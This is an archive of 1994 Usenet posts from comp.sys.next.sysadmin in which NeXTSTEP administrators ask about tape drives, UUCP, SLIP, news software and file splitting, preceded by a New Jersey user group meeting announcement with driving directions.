NORTH JERSEY: Still looking for volunteers.
JULY:
Thursday, July 21, time TBA
Topic: TBD
Location: Mt. Laurel
See you there!
------------------------------------------------------------
Directions to Monday, May 2 meeting:
FOR A MAP OF THE AREA: (a uuencoded GIF)
echo get groupname decmap | mail majordomo@warren.mentorg.com
(Digital is marked by the X in the lower right. Close to
the M on route 9.)
*** From Newark Airport to Digital, Manalapan (~45 minutes) :
- Exit Airport, watch for and follow signs for SOUTH I95
and New Jersey Turnpike (NJTP) South
- Enter NJTP Southbound (towards Trenton)
- Follow NJTP South to Exit #11 Garden State Parkway (GSP)
- Enter GSP South
- Follow GSP over large bridge (Raritan River),
pay toll (.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corners from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Piscataway, Somerville, and Morristown Areas:
- I-287 South to the Garden State Parkway (GSP).
- GSP South over bridge (Raritan River), pay toll
(.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corner from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
is closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Philadelphia area,
Take New Jersey Turnpike North to exit 8.
Follow directions from The Princeton Area
*** From The Princeton Area
- Route 33 EAST to Freehold area
- Route 9 NORTH, (following signs for Taylors Mill Road)
- Take Taylors Mill "exit" make a right onto
Taylors Mill Road and enter the Justin Corporate
Center parking lot on the right. Building is
closest to intersection is Digital.
(Red brick, two story, sign on building)
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MAY:
Monday, May 2, 7:30pm - 9:30pm
"Why would a sysadmin want to run OSF's DCE?"
by Rich Salz, of OSF and INN fame.
Location: Digital, Manalapan (about 45 minutes from Newark Airport)
Directions: see end of this message.
Rich Salz is on staff at OSF in Cambridge, MA developing some
of the networking protocols involved in DCE. He is also the
author of INN, the software that most sites on the internet use
to transmit netnews.
JUNE:
Thursday, June 16, 7:00pm
Cluster Group meetings
Topic: TBA
All are invited to cluster group meetings! They are
social as well as technical. If there isn't
one in your area, why not start one? The only
requirement is that they are all cluster groups
meet simultaniously and have the same topic (yeah, right).
This is the second Cluster Night. The first one was
amazingly successful.
CENTRAL JERSEY: The Carousel Diner, Rt 22 in Plainfield.
SOUTH JERSEY: Still looking for volunteers.
NORTH JERSEY: Still looking for volunteers.
JULY:
Thursday, July 21, time TBA
Topic: TBD
Location: Mt. Laurel
See you there!
------------------------------------------------------------
Directions to Monday, May 2 meeting:
FOR A MAP OF THE AREA: (a uuencoded GIF)
echo get groupname decmap | mail majordomo@warren.mentorg.com
(Digital is marked by the X in the lower right. Close to
the M on route 9.)
*** From Newark Airport to Digital, Manalapan (~45 minutes) :
- Exit Airport, watch for and follow signs for SOUTH I95
and New Jersey Turnpike (NJTP) South
- Enter NJTP Southbound (towards Trenton)
- Follow NJTP South to Exit #11 Garden State Parkway (GSP)
- Enter GSP South
- Follow GSP over large bridge (Raritan River),
pay toll (.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corners from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Piscataway, Somerville, and Morristown Areas:
- I-287 South to the Garden State Parkway (GSP).
- GSP South over bridge (Raritan River), pay toll
(.35), keep RIGHT to Exit 123 (Route 9 South)
- Follow Route 9 South to Taylors Mill Road
(~11.5 miles) Shell & Exxon gas stations on diag.
corner from office
- Take Taylors Mill "exit", make left onto Taylors
Mill Road, cross Rt. 9 at light, and enter Justin
Corporate Center parking lot on right. Building
is closest to intersection is Digital.
(Red brick, two story, sign on building)
*** From Philadelphia area,
Take New Jersey Turnpike North to exit 8.
Follow directions from The Princeton Area
*** From The Princeton Area
- Route 33 EAST to Freehold area
- Route 9 NORTH, (following signs for Taylors Mill Road)
- Take Taylors Mill "exit" make a right onto
Taylors Mill Road and enter the Justin Corporate
Center parking lot on the right. Building is
closest to intersection is Digital.
(Red brick, two story, sign on building)
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From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Date: 29 Apr 1994 22:24:06 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2ps1e6$hnn@news.mic.ucla.edu>
References: <2priqr$f88@nntp2.Stanford.EDU>
> Are the DDS2 drives backward compatible with DDS written tapes
> (read/write)? We have an ArchivePhyton drive and want to upgrade to a
> higher capacity drive but without loosing compatibility with already
> written backup tapes...
I was told "yes" by my sales person. So I preferred a DDS-DC drive for the
$300 less.
However, now I have a bigger problem: I managed to write one tape, using
SafetyNet, on the HP drive from my Intel GX/Pro with DPT SCSI EISA
adapter. Now, when trying to restore, SafetyNet doesn't see its volume
label anymore. So, I tried writing on another tape: impossible. (I have
disabled MRS.) The left light is now on, the right light is blinking in
two different colors (never off). This continues even when the tape is
ejected. After inserting yet another tape (both lights blink on and off
for a while), same symptom.
So, either my dip switches are set incorrectly (at the moment, all are set
to "ON" which is what it is supposed to be on PCs; workstations seem to
have different configurations, but HP does not provide docs why it is set
differently for different hosts), or my drive is broken.
What should the dip switches be?
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
From: scheidel@inca.gate.net (Michael S. Scheidell)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Followup-To: comp.sys.next.sysadmin,comp.periphs.scsi
Date: 29 Apr 1994 17:36:03 -0400
Message-ID: <2pruk3$15he@inca.gate.net>
References: <2pokhl$mpv@news.mic.ucla.edu>
Ivo Welch (ivo@next.agsm.ucla.edu) wrote:
: I just purchased an HP35480 DDS-DC drive. I tried to write random numbers
: to a 90m tape, and got a capacity of 1,632MB (1.7 if I count M as
: millions). I have compression enabled, but due to the random nature of the
: data, this should not matter much.
: I thought these drives could hold 3MB uncompressed. By my calculations,
: even on a 120m tape, this will only be about 2GB. Are there any other tape
: drives that do better?
the hp35480 dds-dc is a 2gb native mode drive. It should never have 120m
tapes in it. Also, check to see you are using 'media recognition' tapes.
or at least, data grade. 90m could mean 90 mins on a audio tape.
What you thought you were buying is a DDS2-DC drive, 4GB native on 120m
(meter) tapes.
typical compression on 'c' source code is about 1.5 to 1.
database stuff could go as high at 4 to 1 but typical is 2 to 1.
--
Michael S. Scheidell Florida Datamation, Inc.
scheidel@gate.net (407) 241-2966
From: rogoff@sccm.Stanford.EDU (Brian Rogoff)
Newsgroups: comp.sys.next.sysadmin
Subject: Question: How to unset root password
Message-ID: <ROGOFF.94Apr29164804@sccm.Stanford.EDU>
Date: 29 Apr 94 23:48:04 GMT
Distribution: comp
Organization: /u/rogoff/.organization
Hi,
While installing NS/I on my home machine, I managed to lose the
piece of paper on which I had scribbled the root password. Is there a
way that I can reset it without having to laboriously reinstall NS?
Perhaps a way to boot the machine in a single user mode as root? Thanks.
-- Brian (embarassed as !@#$ that I did that...)
From: rogoff@sccm.Stanford.EDU (Brian Rogoff)
Newsgroups: comp.sys.next.sysadmin
Subject: Q: Unsetting root password on single user machine?
Message-ID: <ROGOFF.94Apr29174919@sccm.Stanford.EDU>
Date: 30 Apr 94 00:49:19 GMT
Distribution: comp
Organization: /u/rogoff/.organization
Hi,
I lost the root passwd of my home machine (NS/I 3.2). Is there a
way I can reboot in single user mode (or something like that) and avoid
reinstallation?
-- Brian
Newsgroups: comp.sys.next.sysadmin,comps.sys.next.misc,comp.sys.next.hardware
From: gpmenos@firestone.Princeton.EDU (Gerard Philippe Menos)
Subject: SLIP broken after upgrade to 3.2
Message-ID: <1994Apr29.203421.22730@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Fri, 29 Apr 1994 20:34:21 GMT
Hi. I've just upgraded my supervisor's supervisor's supervisor's
(yes, three levels up from me) machine from NS 2.2 to NS 3.1.
[Black hardware...]
The way SLIP used to work... turn on modem, turn on machine, and the
SLIP connection starts at boot time, with NFS and netinfo links from
SLIP connection (client) to netinfo server on campus... Now, after
the upgrade, SLIP connection is not established until after a telnet
(or other IP-using-program is invoked), and even then, no NFS-netinfo
links are created...
Any ideas what I must change in rc scripts to get the system working
as it used to? Or other changes I must make? What am I missing?
Thanks for any hints,
Phil
--
G. Philippe Menos
gpmenos@firestone.princeton.edu [NeXTmail OK.]
Systems Administrator, Princeton University Libraries
voice: 609-258-5183 fax: 609-258-5571
From: koen1830@w250zrz.zrz.tu-berlin.de (Andreas Koenig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How to divide large .gz file?
Date: 30 Apr 1994 09:05:59 GMT
Organization: mal franz, mal anna
Message-ID: <2pt71n$r0g@brachio.zrz.TU-Berlin.DE>
References: <2poi1b$i64@cville-srv.wam.umd.edu>
Fcc: $/u/k/Mailboxes/NNoutgoing.mbox/mbox
Apparently-To: koen1830@w203zrz.zrz.tu-berlin.de
In article <2poi1b$i64@cville-srv.wam.umd.edu>,
L. Anathea Brooks <gaia@wam.umd.edu> wrote:
>
>Hi,
>
>for reasons I won't go into here, NS's .chunk extension
>(used when copying a 5MB file to various 1.44MB disks, for
>ex.) does NOT work. So, what do I use to copy a large .gz
>file to disks? I'm on Intel, so no BreakUp app. Split seems
>merely to divide the file into small text files that cannot be
>recombined.
There is a small C-program on many ftp servers, called split.c. It is
GNU split (should be in a gnu directory). This split compiles without
troubles on NS. It does binary split. Call ``split'' without
parameters to get the usage description.
Andreas,
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Invoking UUCICO directly
Message-ID: <westesCp2y2F.C27@netcom.com>
Organization: Mail Group
Date: Sat, 30 Apr 1994 16:06:15 GMT
I am having a UUCP problem that results in my getting mail from my
service provider that contains oblique error messages such as:
"file mailhost!D.uucpmaiB0Ha2 --- remote access to path/file
denied"
My mail provider wants a detailed log, so he urged me to invoke
uucico as:
uucico -x9 -smailhost
This does not connect to my mailhost. Instead, it brings a UUCP
shere to the screen and the modem remains inactive.
Up to now, I have been connecting successfully with:
uupoll mailhost
So three questions:
1) How do I invoke uucico directly to connect to my mail provider?
2) Is there some other way of turning on a detailed debug listing in
my UUCP log?
3) Does anyone know the specific cause of the error message I list
above?
--
Will Estes Internet: westes@netcom.com
Newsgroups: comp.sys.next.sysadmin
From: tom@basil.icce.rug.nl (Tom R.Hageman)
Subject: Re: How to divide large .gz file?
Message-ID: <Cp1G6D.2A9@basil.icce.rug.nl>
Sender: tom@basil.icce.rug.nl (Tom R.Hageman)
Organization: Watery Lofts
References: <2poi1b$i64@cville-srv.wam.umd.edu>
Date: Fri, 29 Apr 1994 20:42:11 GMT
In article <2poi1b$i64@cville-srv.wam.umd.edu> gaia@wam.umd.edu (L. Anathea
Brooks) writes:
>
> Hi,
>
> for reasons I won't go into here, NS's .chunk extension
> (used when copying a 5MB file to various 1.44MB disks, for
> ex.) does NOT work. So, what do I use to copy a large .gz
> file to disks? I'm on Intel, so no BreakUp app. Split seems
> merely to divide the file into small text files that cannot be
> recombined.
One possibility that should work with every UNIX system around is
(assuming csh):
% set i=0;dd if=_input_filename_ bs=1420k count=1 skip=$i of=part#$i
% ^0^1
% ^1^2
...etc until dd responds with:
0+1 records in
0+1 records out
See also dd(1).
[The blocksize used here is for DOS-formatted disks.
NeXT-formatted floppies cannot contain that much...]
--
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__/ __/_/
__/__/__/ "...to baldly go where no one has gone before."
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Newsgroups: comp.sys.next.sysadmin
From: jmh@info.polymtl.ca (Jean-Marc Heneman)
Subject: permissions to do rdump
Message-ID: <1994Apr29.192115.2457@vlsi.polymtl.ca>
Summary: I would like to use rdump or dump a fs on a scsi tape on the net...
Keywords: SCSI TAPE DUMP REMOTE BACKUP
Sender: news@vlsi.polymtl.ca (USENET News System)
Organization: Ecole Polytechnique de Montreal
Date: Fri, 29 Apr 1994 19:21:15 GMT
what permissions do i need to execute rdump?
what kind of user (group), etc?
Any other mean to dump a fs on a scsi tape on the net?
--
jmh
jean-marc heneman = jmh@info.polymtl.ca
if mail bounces, try jmh@aircanada.ca
I prefer ASCII mail for now, but you can send me NextMail for attachment
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Newsgroups: comp.sys.next.sysadmin
From: fozztexx@nvc.cc.ca.us (Chris Osborn)
Subject: Re: apps crash on mousedown in text field; intermittent
Message-ID: <Cp34Kw.Gq4@nvc.cc.ca.us>
Sender: news@nvc.cc.ca.us
Organization: Napa Valley College
References: <2p716a$een@mtu.edu>
Date: Sat, 30 Apr 1994 18:26:56 GMT
In article <2p716a$een@mtu.edu>, Russell Reid <russell@math.mtu.edu> wrote:
In article <2p716a$een@mtu.edu> you write:
>I've been having repeated but inconsistent troubles with my 040 Cube,
>running 3.1. Sometimes I work fine for days; sometimes I get seized up so
>badly even command-command-tilde doesn't work. For months I've been hoping
>to find some consistency so that I could post a query.
Try replacing the battery.
We were having a problem here where the WindowServer would never start
up on one of the machines. It seemed like it was a memory error, but
it turned out that the battery was going dead, and had somehow
corrupted something.
By removing the battery for a while, and then replacing it, the
problems went away. We've also experienced similar problems with other
machines. Replacing the battery always fixes it.
--
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Napa Valley College Fax: 707 253 3063
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From: work@dannug.dk (Michael Hallin)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: bitstream makes 500 fonts available in windows ps format for $50
Date: 30 Apr 1994 12:48:33 GMT
Organization: Danish NeXT User Group
Message-ID: <2ptk31$4dr@machthenext.dannug.dk>
References: <2p9jh9$d2e@cheltenham.cs.arizona.edu>
In article <2p9jh9$d2e@cheltenham.cs.arizona.edu> kline@CS.Arizona.EDU
(Nick Kline) writes:
|>
|>I was browsing through comp.fonts today and say that bitstream is
|>selling a cdrom with 500 fonts for $50 at Egghead (it was $30 here in
|>tucson). Apparently, according to various people in comp.fonts its
|>not the typical 499 junk fonts and 1 good one but actually interesting
|>fonts.
|>
|>The fonts are in two formats: ps type 1 and also tt format.
|>They are in "windows" format and must be converted somehow. I suppose
|>it will be possible to convert them for use on the next.
|>
|>I'll have to get this disk and check it out.
|>
|>-nick
|>
Hi,
Does anyone know where to order this CD??? This seems like too good a deal
to pass!
Best regards
Michael
---
_____________________________________________
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NeXTMail: work@dannug.dk
NonNeXTMail: mh.xeroxvang@rxdk.xerox.com
Voice: Int + 45 43 53 34 33
Fax: Int + 45 43 53 34 33
Work: Int + 45 43 43 43 03
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From: preuss@netcom.com (Peter Preuss)
Subject: Re: Invoking UUCICO directly
Message-ID: <preussCp3Cp9.n1H@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <westesCp2y2F.C27@netcom.com>
Date: Sat, 30 Apr 1994 21:22:21 GMT
Will Estes (westes@netcom.com) wrote:
: I am having a UUCP problem that results in my getting mail from my
: service provider that contains oblique error messages such as:
: "file mailhost!D.uucpmaiB0Ha2 --- remote access to path/file
: denied"
: My mail provider wants a detailed log, so he urged me to invoke
: uucico as:
: uucico -x9 -smailhost
: This does not connect to my mailhost. Instead, it brings a UUCP
: shere to the screen and the modem remains inactive.
: Up to now, I have been connecting successfully with:
: uupoll mailhost
: So three questions:
: 1) How do I invoke uucico directly to connect to my mail provider?
Try (as root): /usr/lib/uucp/uucico -r1 -smailhost -x5
That gives you sufficient detail about the connection establishment
and file transfers.
: 2) Is there some other way of turning on a detailed debug listing in
: my UUCP log?
Good question.
: 3) Does anyone know the specific cause of the error message I list
: above?
Looks like a configuration problem on the other side. Did it ever work?
Good Luck!
Peter.
--
preuss@futon.sfsu.edu San Francisco State University
From: jheidelo@alleg.edu (Jason Heideloff)
Newsgroups: comp.sys.next.sysadmin
Subject: Formatting SCSI on Intel
Date: 28 Apr 1994 15:11:47 GMT
Organization: Allegheny College
Message-ID: <2pojnj$i34@mustang.alleg.edu>
Has anyone else encountered a problem of formatting SCSI disks on Intel
machines? I have tried on several occasions with different disks to
format SCSI drives using BuildDisk. It usually gets to about 9% formatted
and then fails. When I check in Workspace, it reports that I have 9 megs
available out of 400 megs.
Any thoughts or suggestions would be appreciated!
Thanks in advance.
--
Jason Heideloff... jheidelo@alleg.edu
Allegheny College
NeXTMail Welcome
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: A Mail / UUCP / Sendmail problem.
Message-ID: <Cp3FAn.1D7@haquer.uucp>
Keywords: sendmail mail uux uucp
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
Date: Sat, 30 Apr 1994 22:18:22 GMT
The current problem I am having is that my NeXT is saying that
a key file is missing or trashed when I try to send mail via UUCP
instead of SMTP. I'm not sure if the file is bad. The file exist and
does not appear to be in bad shape. My guess is that I am missing a funny
line in the sendmail.cf file. Does anybody have any ideas on this matter?
-Alby
Blurb or error message:
ASSERT ERROR (uux) pid: 1734 (4/30-17:14) /usr/spool/uucp/SEQF is missing or
trashed (13)
file - D.haquerX1i90
ASSERT ERROR (uux) pid: 1734 (4/30-17:14) CAN'T OPEN D.haquerX1i90 (0)
uux failed. code -1
exit code -1
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: Question on Cnews in.coming Help!!!!
Message-ID: <Cp2rtF.AE@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <2ppiov$hcm@rodan.UU.NET>
Date: Sat, 30 Apr 1994 13:51:14 GMT
In article <2ppiov$hcm@rodan.UU.NET> alby@uunet.uu.net (Anthony Williams) writes:
> I have a NeXT Turbo running NS3.0. I have this problem of my
> C-news place the articles that I post on my local machine to
> the directory of in.coming instead of to out.going. Since this is
> happening, my news isn't being sent to the UUCP queue for posting.
> Do you have any ideas on what config info I missed out on, or what
> is causing this problem?
Check /usr/local/news/lib/errlog
Create /usr/spool/news/out.master as news.news
Juergen
---
Juergen Sell E-Mail js@icem.de ( NeXTMail ok )
Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
From: therbert@umiami.ir.miami.edu
Newsgroups: comp.sys.next.sysadmin
Subject: cancel <1994May1.155435.17566@umiami.ir.miami.edu>
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Date: 1 May 94 15:59:06 EDT
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From: marcos@its.com (Marcos J. Polanco)
Subject: Slight problem with Taylor UUCP
Message-ID: <1994Apr30.024006.23345@its.com>
Sender: usenet@its.com
Organization: Information Technology Solutions
Date: Sat, 30 Apr 1994 02:40:06 GMT
Hello,
I am having a problem with Taylor UUCP.
Outgoing mail works great. Incoming comes in, too, but when it comes time to execute the commands for local delivery, things go awry. The logfile reads:
uucp - (4/28-08:38-493) ERROR: X./X.netcomsCafcf: Execute file for unknown system netcoms
uucp - (4/28-08:40-497) ERROR: X./X.netcomsC061d: Execute file for unknown system netcoms
And so the mail remains undelivered, but the X. files are blown away. In one instance I snatched thes
e files, and tried to re-execute them with 'uuxqt -x 4', but the results were no better; the DEBUG file did not show any more information than the usual.
Thanks.
--
Marcos J. Polanco marcos@dogen.persona.com 312-474-7700, x22528-08:40-497) ERROR: X./X.netcomsC061d: Execute file for unknown system netcoms
And so the mail remains undelivered, but the X. files are blown away. In one instance I snatched thes
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: SLIP broken after upgrade to 3.2
Message-ID: <Cp4xw9.AL@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <1994Apr29.203421.22730@Princeton.EDU>
Date: Sun, 1 May 1994 17:57:44 GMT
In article <1994Apr29.203421.22730@Princeton.EDU> gpmenos@firestone.Princeton.EDU (Gerard Philippe
Menos) writes:
[...]> The way SLIP used to work... turn on modem, turn on machine, and the
> SLIP connection starts at boot time, with NFS and netinfo links from
> SLIP connection (client) to netinfo server on campus... Now, after
> the upgrade, SLIP connection is not established until after a telnet
> (or other IP-using-program is invoked), and even then, no NFS-netinfo
> links are created...
>
> Any ideas what I must change in rc scripts to get the system working
> as it used to? Or other changes I must make? What am I missing?
You might invoke '/usr/dialupip/bin/duioctl slipx brinup' in your rc.local.
Substitute slipx with something appropriate, of course.
Don't know if this is what you originally had, but it has a good chance to work as far as I can
see.
Juergen
---
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Deisterstr. 18 Fax ++49-511-440617
BRD 30449 Hannover Fon ++49-511-440688
== What time do we live in when all the word 'revolution' makes you think of
== is a new generation of soap powder ?
From: claspac@tallis.ucsc.edu (Jas-Russell)
Newsgroups: comp.sys.next.sysadmin
Subject: problems with "gn" a gopher and supposed http server
Date: 2 May 1994 02:26:17 GMT
Organization: University of California, Santa Cruz
Message-ID: <2q1oc9$n3h@darkstar.UCSC.EDU>
Keywords: http html WWW
Dear Comrades,
I have just recently downloaded a combination gopher
and http server package called "gn-2.07"
Unfortunately it appears to be missing a file called
"httpd.h"
I was able to build the program "gn" and I got
this program to provide gopher services just fine
(e.g. URL gopher://tallis.ucsc.edu).
I presumed after wading through voluminous
doc files that this same inetd spawned server program was
also supposed to answer URL "http://tallis.ucsc.edu"
requests.
If someone has experience with this "gn" package
and has gotten it to respond as an HTTP URL could
you send me mail with your sample config.h and
root menu files?
Thanks,
--
Name: Will Russell
E-mail: claspac@cats.ucsc.edu
Voice: 408-459-2060
FAX: 408-429-0146
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu)
Newsgroups: comp.sys.next.sysadmin
Subject: /etc/reboot - cool man page!
Date: 2 May 1994 03:21:33 GMT
Organization: North Carolina State University
Message-ID: <2q1rjt$ns7@taco.cc.ncsu.edu>
Summary: fire is your friend
Keywords: -n
I was reading the man page for /etc/reboot today, because I wanted to
reboot my machine (the doggone swap file is over 45 megs)...
Anyway, I noticed a neat option for reboot: the -n option. I'm going to
quote the manpage here:
Options to reboot are:
-n Avoids the sync. It can be used if a disk or the pro-
cessor is on fire.
[...]
Look, if my disk or processor is on fire, I'm not gonna worry about not
syncing the drives. I'm gonna pull the plug.
Generic question: who would WANT to reboot the machine if it's on
fire?!?
My friend and I got a good laugh outta that one.
Daniel
--
Daniel "eagle" L'Hommedieu
Daniel_LHommedieu@nest.catt.ncsu.edu
eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
From: unlhds@nlhds.UUCP (Pieter van Emmerik)
Newsgroups: comp.sys.next.sysadmin
Subject: News software for NeXTSTEP ?
Distribution: world
Message-ID: <767868995snx@nlhds.UUCP>
Date: Mon, 02 May 94 08:56:35 GMT
Organization: HDS info management
We would like to read news on systems using the NeXT operating systems.
To start we plan to use a UUCP connection.
Wat is availeble on NeXT to read NEWS?
Please E-mail to: unlhds@hds.nl
Pieter van Emmerik HDS info management, Dept. Industrial Automation
unlhds@hds.nl P.O.Box 23, 7550 AA Hengelo, The Netherlands
unlhds@nlhds.UUCP Tel: +31-74-464231
From: wilkie@cslab.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTTeX hyphenation
Date: 2 May 1994 09:32:11 GMT
Organization: Technical University Vienna, Austria
Distribution: world
Message-ID: <2q2har$9f8@email.tuwien.ac.at>
I post this to c.s.n.sysadmin because the maintenance of the on-system TeX
is essentially the sysadmin's job.
So: how do I get NeXTTeX/486 to work with a german (or any other
non-english) hyphenation list when using german.sty v. 2.4. and
ghyphen.min/max?
Please e-mail comments or pointers to more appropriate newsgroups...
Thanks in advance
Alexander Wilkie
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| /---\ \ /\ / | Technical University Vienna |
| / \ \/ \/ | Austria / Europe |
| | (NeXTMail o.k.) |
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From: karl@trapac.com (Karl Kraft)
Subject: Re: Question on Cnews in.coming Help!!!!
Message-ID: <Cp1MKy.1yn@trapac.com>
Sender: karl@trapac.com (Karl Kraft)
Organization: Trans Pacific Container Service Corporation
References: <2ppiov$hcm@rodan.UU.NET>
Date: Fri, 29 Apr 1994 23:00:34 GMT
In article <2ppiov$hcm@rodan.UU.NET> alby@uunet.uu.net (Anthony
Williams) writes:
> I have a NeXT Turbo running NS3.0. I have this problem of my
> C-news place the articles that I post on my local machine to
> the directory of in.coming instead of to out.going. Since this is
> happening, my news isn't being sent to the UUCP queue for posting.
> Do you have any ideas on what config info I missed out on, or what
> is causing this problem?
Make sure you are running newsrun on a regular basis, that is what
takes the new from in.coming and actualls places it in the news
directories.
Once you do that, it should appear by ref in out.going and out.master.
(Make sure you used addfeed to create the feed.
Run sendbatches to actually create the uucp transmission file.
--
Karl Kraft
Karl_Kraft@trapac.com
Karl_Kraft@ensuing.com
[My opinions are my own]
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Q: limiting anonymous FTP
Date: 2 May 1994 11:36:58 GMT
Organization: The Ohio State University
Distribution: world
Message-ID: <2q2okq$s2m@charm.magnus.acs.ohio-state.edu>
I'm about to create a small anonymous FTP site, but I'd like
to limit the time that it can be used. (ie. non-business hours).
Anyone know how to do it?
Thanks!
--
:::Apple II forever!!:::GO BUCKS!:::Play Lacrosse!!:::Raging Bullwinkle!:::
: Shane M . Zatezalo - CIS OSU: i-net> szatezal@magnus.acs.ohio-state.edu :
: Futurenet/Internet -> root@tap.colum.fnet.org :
:::::::: call The Atomic Playground BBS 614-297-7031 16.8k DS HST :::::::::
From: beckers@quip.eecs.umich.edu (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.0-> 3.2 upgrade failed!
Date: 2 May 1994 13:05:04 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <2q2tq0$e76@zip.eecs.umich.edu>
HELP! i tried upgrading my 3.0 box yesteray with 3.2. the only thing i changed
in the upgrade plan was that i didn't want the phone directories blown away.
the upgrade said it was done successfully, but that there were "post- processing
errors". like a fool, i hit "restart" whilest glancing at the upgradelog. well
good quantities of the OS were not loaded because it "couldn't copy" (for
some unknown reason) them onto the drive. so i rebooted and now, the window
server can't come up on a f_open bug. i can go into single user though.
so: what did i do wrong in the install
and how do i get back to my window server?
thanks
beckers
From: trestrail@aol.com (Trestrail)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: disk program
Date: 2 May 1994 10:32:03 -0400
Organization: America Online, Inc. (1-800-827-6364)
Sender: news@search01.news.aol.com
Message-ID: <2q32t3$886@search01.news.aol.com>
References: <2ppht9$gfr@news.u.washington.edu>
In article <2ppht9$gfr@news.u.washington.edu>, rling@u.washington.edu (Robert
Ling) writes:
> Does anybody know how to modify one byte on the disk
> drive using the disk program? I can read in a sector
> to the read buffer and write out a sector from the
> write buffer but I don't know how to transfer or
> copy from the read buffer to the write buffer.
>
> Is there more information on the "disk" program other
> than the man page (which is far from complete)?
>
> In NS/FIP, NeXT's boot program boots up NeXTSTEP by default.
> I'd like to change the default to something else.
Check which partition is set as "active" under fdisk, and reset to the
appropriate one.
Jeff Trestrail
trestrail@aol.com
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: News software for NeXTSTEP ?
Date: 02 May 1994 10:38:43 GMT
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <ROBERT.94May2113843@steffi.demon.co.uk>
References: <767868995snx@nlhds.UUCP>
To: unlhds@nlhds.UUCP (Pieter van Emmerik)
In-reply-to: unlhds@nlhds.UUCP's message of Mon, 02 May 94 08:56:35 GMT
>>>>> "Pieter" == Pieter van Emmerik <unlhds@nlhds.UUCP> writes:
Pieter> We would like to read news on systems using the NeXT operating
Pieter> systems. To start we plan to use a UUCP connection. Wat is
Pieter> availeble on NeXT to read NEWS?
Well literally any news related software that runs under Unix will
run under NeXTSTEP.
With regard to news transport software you have two choices.
INN1.4 or Cnews.. C-news exists in package form on cs.orst.edu ...
(somewhere) INN exists also another machine whose name escapes me at
the moment.
With regard to reading news.... rn/trn/tin... Today I use GNUS (Thanks Carl)
And if your really stupid you could run something like NewsGrazer :-)
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: panzitta@esunix.sim.ES.COM (Mike Panzitta)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Socks clients available?
Date: 2 May 1994 08:58:31 -0600
Organization: Evans & Sutherland Computer Corporation
Message-ID: <2q34en$gm8@esunix.sim.ES.COM>
I guess the subject says it all...I'm looking for a version of socks that
can be built on 3.2 (black). In particular, I am looking for the telnet
and ftp clients which use socks.
For those who don't know, socks is a protocol for a proxy server and
clients (ftp, telnet, finger, whois, etc.). I am accessing the Internet
thru a firewall machine, so I have to use proxies. An alternative would
be something like Sun's itelnet and iftp, which use proxies.
Please respond if you have built these on 3.2 or know where I can get
sources and/or binaries that can be used under 3.2. Also, does anyone
know if Mosaic and some of the other Internet tools can be configured
to use socks or other proxies?
Thanks in advance,
-Mike
--
Mike Panzitta
Doberman Systems
mike@doberman.com (NeXTMail)
From: kanefsky@halcyon.halcyon.com (Steve Kanefsky)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: Re: HP35480 DAT Drive
Date: 2 May 1994 15:58:45 GMT
Organization: A World of Information at Your Fingertips
Message-ID: <2q37vl$po0@nwfocus.wa.com>
References: <2pokhl$mpv@news.mic.ucla.edu> <Cp0w3C.K6D@bri.hp.com>
A couple questions:
Does HP sell their drives direct, or only through resellers? Are there
external versions with the HP logo, or do resellers just re-package the
drive mechanisms in their own enclosures like with many hard-disk
mechanisms?
Does the C1533A read and write regular DDS-DC tapes without having to be
reconfigured? What would the native transfer rate be on a 60m or 90m DDS
tape in a C1533A?
Thanks in advance,
--
